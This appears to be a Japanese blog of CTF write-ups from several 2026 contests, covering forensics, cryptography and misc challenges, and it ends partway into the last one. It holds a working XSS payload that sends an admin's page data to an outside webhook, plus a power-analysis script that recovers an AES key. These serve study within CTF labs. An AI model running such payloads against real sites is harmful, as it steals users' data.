RCX: 0x555555558d90 --> 0x5555555551c0 (<__do_global_dtors_aux>:        endbr64)
RDX: 0x7fffffffdd48 --> 0x7fffffffe106 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/brokenquest")
RDI: 0x1 
RBP: 0x7fffffffdc20 --> 0x1 
RSP: 0x7fffffffdc20 --> 0x1 
RIP: 0x555555555fed (<main+8>:  sub    rsp,0x70)
R8 : 0x0 
R9 : 0x7ffff7fcbc80 (push   rbp)
R10: 0x7fffffffd960 --> 0x800000 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffdd48 --> 0x7fffffffe106 ("CLUTTER_IM_MODULE=xim")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x555555554000 --> 0x10102464c457f 
R15: 0x555555558d90 --> 0x5555555551c0 (<__do_global_dtors_aux>:        endbr64)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x555555555fe5 <main>:       endbr64
   0x555555555fe9 <main+4>:     push   rbp
   0x555555555fea <main+5>:     mov    rbp,rsp
=> 0x555555555fed <main+8>:     sub    rsp,0x70
   0x555555555ff1 <main+12>:    mov    DWORD PTR [rbp-0x64],edi
   0x555555555ff4 <main+15>:    mov    QWORD PTR [rbp-0x70],rsi
   0x555555555ff8 <main+19>:    mov    rax,QWORD PTR fs:0x28
   0x555555556001 <main+28>:    mov    QWORD PTR [rbp-0x8],rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdc20 --> 0x1 
0008| 0x7fffffffdc28 --> 0x7ffff7dd7ca8 (mov    edi,eax)
0016| 0x7fffffffdc30 --> 0x7fffffffdd20 --> 0x7fffffffdd28 --> 0x38 ('8')
0024| 0x7fffffffdc38 --> 0x555555555fe5 (<main>:        endbr64)
0032| 0x7fffffffdc40 --> 0x155554040 
0040| 0x7fffffffdc48 --> 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/brokenquest")
0048| 0x7fffffffdc50 --> 0x7fffffffdd38 --> 0x7fffffffe0e9 ("/mnt/hgfs/Shared/brokenquest")
0056| 0x7fffffffdc58 --> 0x19f1b0080b9341b5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555555fed in main ()
gdb-peda$ set $buf = (void*)malloc(32)
gdb-peda$ set {int[8]}$buf = {2,6,-4,6,0,4,-3,1}
gdb-peda$ call (void)handle_flag($buf)
Here's your reward: texsaw{1t_ju5t_work5_m0r3_l1k3_!t_d0e5nt_w0rk}
texsaw{1t_ju5t_work5_m0r3_l1k3_!t_d0e5nt_w0rk}

A Different Side Channel (Forensics)

AESの相関電力解析 (CPA : Correlation Power Analysis)の問題。以前解いた問題のものを流用して、鍵を推測する。あとはAES暗号の復号でフラグを復号する。
ただ、ECBモードでは復号できなかった。CBCモードで、暗号文の先頭16バイトをIVとして復号したら、フラグを取得できた。

#!/usr/bin/env python3
import numpy as np
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

HW = [bin(n).count("1") for n in range(0,256)]

sbox=(
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16)

def intermediate(pt, keyguess):
    return sbox[pt ^ keyguess]

traces = np.load('traces.npy')
pt = np.load('plaintexts.npy')

numtraces = np.shape(traces)[0] - 1
numpoint = np.shape(traces)[1]

bestguess = [0] * 16
for bnum in range(0, 16):
    cpaoutput = [0] * 256
    maxcpa = [0] * 256
    for kguess in range(256):
        print('Subkey %2d, hyp = %02x: ' % (bnum, kguess), end='')

        sumnum = np.zeros(numpoint)
        sumden1 = np.zeros(numpoint)
        sumden2 = np.zeros(numpoint)

        hyp = np.zeros(numtraces)
        for tnum in range(0, numtraces):
            hyp[tnum] = HW[intermediate(pt[tnum][bnum], kguess)]

        meanh = np.mean(hyp, dtype=np.float64)
        meant = np.mean(traces, axis=0, dtype=np.float64)

        for tnum in range(0, numtraces):
            hdiff = (hyp[tnum] - meanh)
            tdiff = traces[tnum,:] - meant

            sumnum = sumnum + (hdiff * tdiff)
            sumden1 = sumden1 + hdiff * hdiff 
            sumden2 = sumden2 + tdiff * tdiff

        cpaoutput[kguess] = sumnum / np.sqrt( sumden1 * sumden2 )
        maxcpa[kguess] = max(abs(cpaoutput[kguess]))

        print(maxcpa[kguess])

    bestguess[bnum] = np.argmax(maxcpa)

key = bytes(bestguess)
print('key =', key)

with open('encrypted_flag.bin', 'rb') as f:
    enc_flag = f.read()

iv = enc_flag[:16]
ct = enc_flag[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
flag = unpad(cipher.decrypt(ct), 16).decode()
print('flag =', flag)

実行結果は以下の通り。

                :
Subkey 15, hyp = f0: 0.09960490729749366
Subkey 15, hyp = f1: 0.15418189162765467
Subkey 15, hyp = f2: 0.1292288175480995
Subkey 15, hyp = f3: 0.1124840383723133
Subkey 15, hyp = f4: 0.1140802977702662
Subkey 15, hyp = f5: 0.13056561014013426
Subkey 15, hyp = f6: 0.13971580608290746
Subkey 15, hyp = f7: 0.11429227577567116
Subkey 15, hyp = f8: 0.13581819134363388
Subkey 15, hyp = f9: 0.14374168077631522
Subkey 15, hyp = fa: 0.12143720832093058
Subkey 15, hyp = fb: 0.12594069226460355
Subkey 15, hyp = fc: 0.11169986751299421
Subkey 15, hyp = fd: 0.10679428011737006
Subkey 15, hyp = fe: 0.14833239652195498
Subkey 15, hyp = ff: 0.1192592605323357
key = b'f\xdc\xe1_\xb3=\xea\xcb\\\x03b\xf3\x0e\x95\xf5.'
flag = texsaw{d1ffer3nti&!_p0w3r_@n4!y51s}
texsaw{d1ffer3nti&!_p0w3r_@n4!y51s}

Lost my keys (Forensics)

$ binwalk Temoc_keyring.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 8192 x 5460, 8-bit/color RGBA, non-interlaced
494           0x1EE           Zlib compressed data, compressed
4257780       0x40F7F4        QNX4 Boot Block
29355395      0x1BFED83       JBOOT STAG header, image id: 9, timestamp 0x6F36AE11, image size: 911275060 bytes, image JBOOT checksum: 0x5FD9, header JBOOT checksum: 0x9E55
39157936      0x25580B0       Zip archive data, at least v2.0 to extract, name: key/
39158002      0x25580F2       Zip archive data, at least v2.0 to extract, name: key/Temoc_keyring(orig).png
40668275      0x26C8C73       JBOOT STAG header, image id: 16, timestamp 0x446C7ADB, image size: 2359513923 bytes, image JBOOT checksum: 0x6968, header JBOOT checksum: 0x10A
41225449      0x2750CE9       Zip archive data, at least v2.0 to extract, name: key/where_are_my_keys.png
41225541      0x2750D45       PNG image, 1024 x 1024, 8-bit/color RGB, non-interlaced
41225652      0x2750DB4       Zlib compressed data, default compression
43081984      0x2916100       End of Zip archive, footer length: 22

zipを抽出する。

$ foremost Temoc_keyring.png
Processing: Temoc_keyring.png
|foundat=key/ux

foundat=key/Temoc_keyring(orig).pngux

*|

抽出したzipを解凍する。

$ cp output/zip/00076480.zip flag.zip
$ unzip flag.zip
Archive:  flag.zip
   creating: key/
  inflating: key/Temoc_keyring(orig).png  
  inflating: key/where_are_my_keys.png

この2つの画像のRGBを調べると、0行目の216列目まで差異がある。差異がある場合に"1"、ない場合に"0"としてデコードする。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('key/Temoc_keyring(orig).png').convert('RGB')
img2 = Image.open('key/where_are_my_keys.png').convert('RGB')

bin_flag = ''
for x in range(216):
    r1, g1, b1 = img1.getpixel((x, 0))
    r2, g2, b2 = img2.getpixel((x, 0))
    if r1 == r2 and g1 == g2 and b1 == b2:
        bin_flag += '0'
    else:
        bin_flag += '1'

flag = ''
for i in range(0, len(bin_flag), 8):
    flag += chr(int(bin_flag[i:i+8], 2))
print(flag)
texsaw{you_found_me_at_key}

Idiosyncratic Fr*nch (Crypto)

換字式暗号と推測し、quipqiupで復号する。

Noon rings out. A wasp, making an ominous sound, a sound akin to a klaxon or a tocsin, flits about. Augustus, who has had a bad night, sits up blinking and purblind. Oh what was that word (is his thought) that ran through my brain all night, that idiotic word that, hard as I'd try to pun it down, was always just an inch or two out of my grasp - fowl or foul or Vow or Voyal? - a word which, by association, brought into play an incongruous mass and magma of nouns, idioms, slogans and sayings, a confusing, amorphous outpouring which I sought in vain to control or turn off but which wound around my mind a whirlwind of a cord, a whiplash of a cord, a cord that would split again and again, would knit again and again, of words without communication or any possibility of combination, words without pronunciation, signification or transcription but out of which, notwithstanding, was brought forth a flux, a continuous, compact and lucid flow: an intuition, a vacillating frisson of illumination as if caught in a flash of lightning or in a mist abruptly rising to unshroud an obvious sign - but a sign, alas, that would last an instant only to vanish for good.

このまま検索すると、Georges Perecの小説の冒頭部分であることがわかる。

txsaw{georges_perec}

The Imitation Game (Crypto)

2つの文で同じ文字の箇所が異なるので、Vigenere暗号を疑う。
1つ目の文はASKANDの鍵でtexsawから始まる。2つ目の文はINDASKの鍵でtexsawから始まる。
一定の鍵の繰り返しがあると推測し、1つ目の文で復号をしてみると、最低でも82文字ごとに復号できそうだ。
問題のタイトルからも、おそらく以下のページの文が参考になるはず。

https://themoviespoiler.com/2014Spoilers/ImitationGame.html

試しに少し推測しながら、以下の鍵で復号し、82バイトごとで区切りのマーク#を入れてみる。

askanditshallbegivenyouAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

復号結果は以下の通り。

texsaw{luojmfsgmkqltenaeehuvxtwwvxklkiiudpxqcvqhbmkepledu}

zpzc xlcq aq lorr, dlh aas zyqg n p#atter of time before they fifh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty w#he general before they find gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbf#ation tomorrow at midnight.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lr#u should watch it when you caf.
- nsrn pdgvfjrzdx

次に以下の鍵で復号してみる。

askanditshallbegivenyouseekandyeshallfindAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

復号結果は以下の通り。

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxqcvqhbmkepledu}

zpzc xlcq aq lorr, dlh aas zyqg n p#atter of time before they find out who i am.
tell the gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty w#he general before they find out where im hiding!
if adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbf#ation tomorrow at midnight.
make sure you're not foldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lr#u should watch it when you can.
- john cairncross

次に以下の鍵で復号してみる。

askanditshallbegivenyouseekandyeshallfindAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAind

復号結果は以下の通り。

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxqcvqhbmkepledu}

zpzc xlcq aq lorr, dlh aas zyqy a m#atter of time before they find out who i am.
tell the gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejll t#he general before they find out where im hiding!
if adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl loc#ation tomorrow at midnight.
make sure you're not foldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztd. yo#u should watch it when you can.
- john cairncross

ここで2つ目の文の鍵を3つシフトした形であることが推測できる。このため、3文字ずつ復号しながら、鍵と平文を交互に割り出すことができる。

#!/usr/bin/env python3
from string import *

def vigenere_decrypt(ct, key):
    d = ''
    index = 0
    for i in range(len(ct)):
        if ct[i] in ascii_lowercase:
            c_index = ascii_lowercase.index(ct[i])
            k_index = ascii_lowercase.index(key[index % len(key)])
            m_index = (c_index - k_index) % 26
            d += ascii_lowercase[m_index]
            index += 1
        else:
            d += ct[i]
    return d

def vigenere_get_key(ct, pt):
    return vigenere_decrypt(ct, pt)

ct1 = '''twhsnz{tngqmqdhqqygxrloyehuvxtwwvxklkiiudpxqcvqhbmkepledu}

zpzc xlcq aq lorr, dlh aas zyqg n paldee rn mate mpgsxm olrw tcfh set jkm m st.
tpwq buh gwxeedt pzht esf jrib mf yg mgsr ks crqwailp.
ejty whw qeahztd ieqzsi zpzc sgbx gyx ghruc me oiotso!
vi adv gbha pwsl, t'wm qkmo cbs on gyv pievr qwlttyl tbfalsoa wwfgyrzh bx sqyrvevn.
eeoo shuc cgb'rp ytb srldywrg

x.l. loe xzwmk "qhmgyhcgr kkmr" lq zwyy rztl. lru krohol psacs tu anmi cbs quf.
- nsrn pdgvfjrzdx'''
ct2 = '''brassg{lhrrfxzgxvrpzmierkrkdbkdyeibpredxbrflvvvotgvfisacb}

eiie sisj ga bwvi, knq lrw gulj l rigwej yf glux tlfzcf xnmt jvlr imx aro v dk.
xwsl esj orqejkl jkim loe qwbk oa vw fmch sw tysflzpw.
aeww ypr jeforno jxxvrp eiie ndrq min olibe vp fmvpnr!
tk iyo ggos jhte, a'sl xpfx ewp eg mil xmvct zhcxaug wzhiglof dozrzkgd ae xjhtqblg.
koew wybe lrs'vw uoe qttyrwwn

p.f. wpx evvtp "jqobvxvmb asqi" ss ihpc yvoo. jtc fkomvd jdbvz pt hsfr ewp gnl.
- xizr gkieqavgzs'''

ct1_trim = ''
for i in range(len(ct1)):
    if ct1[i] in ascii_lowercase:
        ct1_trim += ct1[i]

ct2_trim = ''
for i in range(len(ct2)):
    if ct2[i] in ascii_lowercase:
        ct2_trim += ct2[i]

key = 'ind'
pt_trim = ''
i = 0
while True:
    d = vigenere_decrypt(ct2_trim[i:i+3], key[i:i+3])
    pt_trim += d

    k = vigenere_get_key(ct1_trim[i:i+3], d)
    key += k

    i += 3

    if len(key) >= 82:
        break

key = key[:82]
key = key[3:] + key[:3]

print('[+] key:', key)

msg = vigenere_decrypt(ct1, key)
print('**** message ****')
print(msg)

復号結果は以下の通り。

[+] key: askanditshallbegivenyouseekandyeshallfindaskanditshallbegivenyouseekandyeshallfind
**** message ****
texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

they know im here, and its only a matter of time before they find out who i am.
tell the general what the flag is as soon as possible.
tell the general before they find out where im hiding!
if all goes well, i'll meet you at our first meeting location tomorrow at midnight.
make sure you're not followed

p.s. the movie "imitation game" is very good. you should watch it when you can.
- john cairncross

結局鍵の長さは半分の長さの41でした。

texsaw{luojmfsgmkqltenaemdqlxgtyrfdlzxdmqmxysvdettsxpatcq}

BSidesSF CTF 2026 Writeup

この大会は2026/3/21 8:00(JST)~2026/3/23 8:00(JST)に開催されました。
今回もチームで参戦。結果は600点で688チーム中334位でした。
自分で解けた問題をWriteupとして書いておきます。

discourse (Misc)

Discordに入り、#welcomeチャネルのメッセージを見ると、フラグが書いてあった。

CTF{w3lc0m3_t0_bs1d3s_sf_2026_d1sc0rd}

crossworthy2026 (Misc)

横70の鍵に答えればよい。横70は以下のようになっている。

"A format for encoding audio, as depicted in the circled squares (also, a 15-across, played on a 41-across, which is made up of millions of 58-acrosses)

この答えは以下の通り。

MP3
CTF{mp3}

meow (Terminal, 101)

サーバ上の/home/ctf/flag.txtがフラグということらしい。結果普通に読むことができた。

$ nc meow-2ab5908d.challenges.bsidessf.net 4445 
Welcome to BSidesSF 2026 CtF - Terminal Challenges!

Time to go rooting for a discovery, the flag is around here somewhere.

The current working directory is: /home/ctf
You are logged in as: ctf
ctf@meow-gtki47b2-5f5b9bfdcc-9gkzd:~$ ls
ls
flag.txt
ctf@meow-gtki47b2-5f5b9bfdcc-9gkzd:~$ cat flag.txt
cat flag.txt
              ##############
           ###      ##      ###
         ##       ######       ##
       ##    ###############    ##
      ##   ###################   ##
     ##   ####  Feed Me!  ####   ##
     ##   ###################   ##
      ##   ###################   ##
       ##    ###############    ##
         ##       ######       ##
           ###      ##      ###
              ##############
                    ||
              ____  ||  ____
             /    \ || /    \
            |      |||      |
             \____/ || \____/
                    ||
              ______|______
             |             |
             |             |
             |             |
             |_____________|

CTF{SAY_AHHH_AND_GIVE_ME_THE_FLAG}
CTF{SAY_AHHH_AND_GIVE_ME_THE_FLAG}

web-tutorial-1 (Web, 101)

XSSの問題。以下を入力し、adminがアクセスしたら/xss-one-flagのデータをWeb Hookのサイトに転送するようにする。

<img src=x onerror='fetch("/xss-one-flag").then(r=>r.text()).then(z=>navigator.sendBeacon("https://webhook.site/<Web Hookパス>/", z))'>

この結果adminからのアクセスが確認でき、Raw Contentにフラグが含まれていた。

CTF{X55-tut0r1al-1s-back}

orphan (101, Forensics)

$ file orphan.bin
orphan.bin: XZ compressed data, checksum CRC64
$ mv orphan.bin orphan.xz
$ unxz orphan.xz         
unxz: orphan: Cannot set the file permissions: 定義されたデータ型に対して値が大きすぎます
$ file orphan    
orphan: Linux rev 1.0 ext2 filesystem data, UUID=549aa1a4-8327-4d4b-af70-c3c0805e45e1 (large files)

7-Zip File Managerで見ると、以下のような階層になっている。

+-- [DIR] lost+found
|
+-- [DIR] [UNKNOWN]
|     |
|     +-- [FILE] 13
|
+-- [FILE] where.gif

where.gifを取り出してみると、アニメーションGIFになっていることがわかる。しかし、何も見つからない。

13を取り出してみる。

$ file 13    
13: PNG image data, 1024 x 627, 8-bit/color RGBA, non-interlaced

PNGになっている。

$ mv 13 flag.png

この画像の下部にフラグが書いてあった。

CTF{please_sir_can_i_have_a_flag}

caesar1 (Forensics, Crypto)


赤い文字の部分がフラグになっているので、何とか読み取る。

CTF{h4ck1ng_1n_c_sh4rp}

TAMUctf 2026 Writeup

この大会は2026/3/21 7:00(JST)~2026/3/23 7:00(JST)に開催されました。
今回もチームで参戦。結果は152点で697チーム中425位でした。
自分で解けた問題をWriteupとして書いておきます。

Favorite Sponsor (Getting Started)

https://ctfd.tamuctf.com/に書かれているスポンサーの一覧から適当に選択して、そのリンクのURLを答える。とりあえずHex-RaysのリンクURLを選択して答えた。

gigem{https://hex-rays.com/}

Quick Response (misc)

QRコードになることを前提に変換することを考える。各セルの横方向のインデックスと縦方向のインデックスの和が偶数の場合はそのままで、奇数の場合は白黒を入れ替えれば、QRコードになりそう。

#!/usr/bin/env python3
from PIL import Image
from base64 import *

UNIT_SIZE = 32
WIDTH_NUM = 29
HEIGHT_NUM = 29
WIDTH = UNIT_SIZE * WIDTH_NUM
HEIGHT = UNIT_SIZE * HEIGHT_NUM

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

input_img = Image.open('quick-response.png').convert('RGB')

for h in range(HEIGHT_NUM):
    for w in range(WIDTH_NUM):
        for j in range(UNIT_SIZE):
            for i in range(UNIT_SIZE):
                x = w * UNIT_SIZE + i
                y = h * UNIT_SIZE + j
                r, g, b = input_img.getpixel((x, y))
                if (w + h) % 2 == 0:
                    output_img.putpixel((x, y), (r, g, b))
                else:
                    output_img.putpixel((x, y), (r ^ 255, g ^ 255, b ^ 255))

output_img.save('qr.png')


この結果、QRコードになり、コードリーダで読み取ると、フラグを取得できた。

gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}

UTCTF 2026 Writeup

この大会は2026/3/13 9:30(JST)~2026/3/15 9:30(JST)に開催されました。
今回もチームで参戦。結果は3951点で736チーム中202位でした。
自分で解けた問題をWriteupとして書いておきます。

次のURLから始めて、フラグを取得する問題。
https://gist.github.com/garvk07/3f9c505068c011e0fd6abd9ddf56aecb

このページに以下のbase64文字列が書いてある。

aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZ2FydmswNy9iYTQwNjQ2MGYyZTkzMmI1NDk2Y2EyNTk3N2JlMjViZQ==

base64デコードする。

$ echo aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vZ2FydmswNy9iYTQwNjQ2MGYyZTkzMmI1NDk2Y2EyNTk3N2JlMjViZQ== | base64 -d
https://gist.github.com/garvk07/ba406460f2e932b5496ca25977be25be

このURLにアクセスすると、以下のように書いてある。

Gather your wits, the path winds on from here,
In shadows deep, the truth is never clear,
Secrets hide where few would dare to look,
Three letters follow, open up the book.

p.s. https://gist.github.com/garvk07/963e70be662ea81e96e4e63553038d1a

このURLにアクセスすると、以下のように書いてある。

# A curious little script...
# Nothing to see here.
# 68747470733a2f2f676973742e6769746875622e636f6d2f676172766b30372f3564356566383539663533306333643539336134613363373538306432663239
# Move along.

def analyse(data):
    return data[::-1]

results = analyse("dead beef")
print(results)

コメントにある16進数文字列をデコードする。

$ echo 68747470733a2f2f676973742e6769746875622e636f6d2f676172766b30372f3564356566383539663533306333643539336134613363373538306432663239 | xxd -r -p 
https://gist.github.com/garvk07/5d5ef859f530c3d593a4a3c7580d2f29

このURLにアクセスすると、以下のように書いてある。

You've reached the end of the trail. Your reward:
  hgsynt{s0yy0j1at_gu3_pe4jy_ge41y}

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13でデコードすると、フラグになった。

utflag{f0ll0w1ng_th3_cr4wl_tr41l}

Double Check (Misc)

次のGithubリポジトリに含まれているフラグを探す問題。
https://github.com/Jarpiano/utctf-profile

まずクローンする。

$ git clone https://github.com/Jarpiano/utctf-profile
Cloning into 'utctf-profile'...
remote: Enumerating objects: 4236, done.
remote: Counting objects: 100% (4236/4236), done.
remote: Compressing objects: 100% (1579/1579), done.
remote: Total 4236 (delta 2205), reused 4235 (delta 2204), pack-reused 0 (from 0)
Receiving objects: 100% (4236/4236), 6.30 MiB | 9.66 MiB/s, done.
Resolving deltas: 100% (2205/2205), done.

コミットログからフラグを検索する。

$ cd utctf-profile
$ git config --global --add safe.directory /xxx/xxx/xxx/utctf-profile
$ git log -p | grep utflag
-utflag{n07h1n6_70_h1d3}
+utflag{n07h1n6_70_h1d3}
utflag{n07h1n6_70_h1d3}

Jail Break (Misc)

添付のコードは以下のようになっているので、そのまま_secret()の結果を取得すればよい。

_ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d, 0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32, 0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f]
_KEY = 0x42

def _secret():
    return ''.join(chr(b ^ _KEY) for b in _ENC)
>>> _ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d, 0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32, 0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f]
>>> _KEY = 0x42
>>>
>>> def _secret():
...     return ''.join(chr(b ^ _KEY) for b in _ENC)
...
>>> _secret()
'utflag{py_ja1l_3sc4p3_m4st3r}'
utflag{py_ja1l_3sc4p3_m4st3r}

QRecreate (Misc)

outputディレクトリの下には4文字のbase64文字列らしき名前のディレクトリが並んでる。

$ echo MDA0 | base64 -d                                                                                                                            
004
$ echo MTAw | base64 -d
100

その下のdataディレクトリの下にimg.pngがある。おそらく001から順番に画像を結合していけば、QRコードになると推測できる。横に10、縦に10個ずつ並べて結合する。

#!/usr/bin/env python3
from PIL import Image
from base64 import *

UNIT_SIZE = 74
WIDTH_NUM = 10
HEIGHT_NUM = 10
WIDTH = UNIT_SIZE * WIDTH_NUM
HEIGHT = UNIT_SIZE * HEIGHT_NUM

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))

DIR = './output/'
FILE = '/data/img.png'

for i in range(1, 101):
    num = str(i).zfill(3).encode()
    fname = DIR + b64encode(num).decode() + FILE
    input_img = Image.open(fname).convert('RGB')
    x = ((i - 1) % 10) * UNIT_SIZE
    y = ((i - 1) // 10) * UNIT_SIZE
    output_img.paste(input_img, (x, y))

output_img.save('qr.png')

生成したQRコードをデコードすると、以下の長文になる。

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla nunc enim, tempor cursus auctor ac, tempor id odio. Proin mattis lacinia maximus. Vestibulum accumsan egestas odio, nec molestie nulla tristique eu. Ut finibus mi et orci tempor, nec venenatis est maximus. Nunc hendrerit sapien et commodo sodales. Quisque libero purus, venenatis in massa in, porta sagittis metus. Donec vitae eros ac nibh vestibulum tristique. Vivamus consequat gravida ex quis volutpat. Nunc ac interdum ligula. Proin consectetur egestas est vitae gravida. Maecenas faucibus aliquet velit, et convallis dui laoreet a. Quisque dapibus eros sed tellus pharetra bibendum. Morbi posuere mollis blandit. Maecenas vel sem purus. Maecenas dictum elementum mattis.

Vestibulum et ultricies tellus. In at efficitur diam. Praesent urna dui, egestas id dui non, ultricies convallis ligula. Mauris dictum imperdiet nunc, eu vulputate sem. Nulla ac ex vel leo rhoncus consequat. Donec sollicitudin suscipit ex, ut vestibulum augue scelerisque ultricies. Maecenas erat eros, ultrices vel hendrerit sollicitudin, mollis in mauris. In eget tristique lacus. Duis mauris mi, rutrum nec elit finibus, vehicula fringilla nunc. Vestibulum iaculis et dui in porttitor. Donec aliquam lectus non neque ultricies, quis imperdiet diam dictum. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque a mi dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30= elit viverra interdum. Integer et enim ac justo aliquet fringilla. Phasellus hendrerit metus turpis, at porta sapien posuere id. Ut vitae pharetra velit.

Nulla id justo ut enim feugiat congue. Aliquam congue dui ac nisl luctus, vitae fermentum felis rhoncus. Quisque tempor odio vel commodo molestie. Integer magna erat, sollicitudin a dignissim sagittis, aliquet tempus urna. Morbi rhoncus vitae enim eu ultricies. Nunc in odio nisi. Maecenas eget lacinia ante.

Nullam in velit est. Nulla bibendum sagittis justo eu rhoncus. Phasellus at ante hendrerit, suscipit enim ac, tincidunt neque. Interdum et malesuada fames ac ante ipsum primis in faucibus. Ut faucibus tellus eget consectetur congue. Nam blandit facilisis dui ut ornare. Ut ultricies erat quis eros ultrices mattis.

Aliquam ut eros lacus. Quisque sit amet nunc vehicula, dictum ipsum nec, placerat magna. Vestibulum sollicitudin iaculis metus, et accumsan libero interdum at. Curabitur eu ex in turpis interdum iaculis. Suspendisse et pharetra turpis, a sollicitudin velit. In aliquet id urna scelerisque feugiat. Nulla luctus mi pharetra tincidunt sollicitudin. Aenean non dignissim velit. Ut ut porta arcu, volutpat tincidunt eros. Donec hendrerit euismod porta.

base64文字列が含まれているので、デコードする。

$ echo dXRmbGFne3MzY3IzdHNfQHJlX0Bsd0B5c193MXRoMW5fczNjcjN0c30= | base64 -d
utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts}
utflag{s3cr3ts_@re_@lw@ys_w1th1n_s3cr3ts}

Hidden 󠁵󠁴󠁦󠁬󠁡󠁧󠁻󠀱󠁮󠁶󠀱󠁳󠀱󠁢󠁬󠀳󠁟󠁵󠁮󠀱󠁣󠀰󠁤󠀳󠁽in Plain Sight (Misc)

この問題を開いているときのURLが他の問題を開いているときより長い。

